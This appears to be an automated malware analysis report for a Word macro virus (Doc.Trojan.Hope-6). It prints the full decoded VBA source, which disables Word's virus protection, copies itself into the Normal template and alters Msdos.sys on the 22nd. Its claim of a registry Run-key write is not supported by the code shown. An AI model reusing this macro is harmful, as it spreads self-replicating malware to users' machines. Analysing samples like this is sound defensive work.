Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 54374cabf5bf41ca…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-09-09 04:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a2ad0181c54c13ff1411eddd47364e49 SHA-1: ee57eb805c2d8d22eb490cc11fa01731452f2b35 SHA-256: 54374cabf5bf41ca1310c036bf520c86895bc81386ac71b171685cbf5a0f7c52
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes automatically via the Document_Open event. This macro attempts to modify the 'C:\Msdos.sys' file and writes to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy', likely to establish persistence or modify system behavior. The presence of VBA macros and the Document_Open event strongly suggest a malicious document intended for initial compromise via spearphishing.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1094 bytes
SHA-256: 5dae42b3b601103d2261115bb7bfc8b36b1a01bdacd21f85a1e7cb5ca5fd6dba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
If ThisDocument = NormalTemplate Then
Set TI = ActiveDocument
Else
Set TI = NormalTemplate
End If
VM = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
Set IR = TI.VBProject.VBComponents.Item(1).CodeModule
IR.DeleteLines 1, IR.CountOfLines
IR.AddFromString VM
If TI = ActiveDocument Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If Day(Now) = 22 Then
SetAttr "C:\Msdos.sys", vbNormal
System.PrivateProfileString("C:\Msdos.sys", "Options", "BootGUI") = "0"
SetAttr "C:\Msdos.sys", vbSystem + vbHidden + vbReadOnly
End If
End Sub 'Dear Jamie... I Wish You The Best And Hope You Are Doing Well... Love, Lys Kovick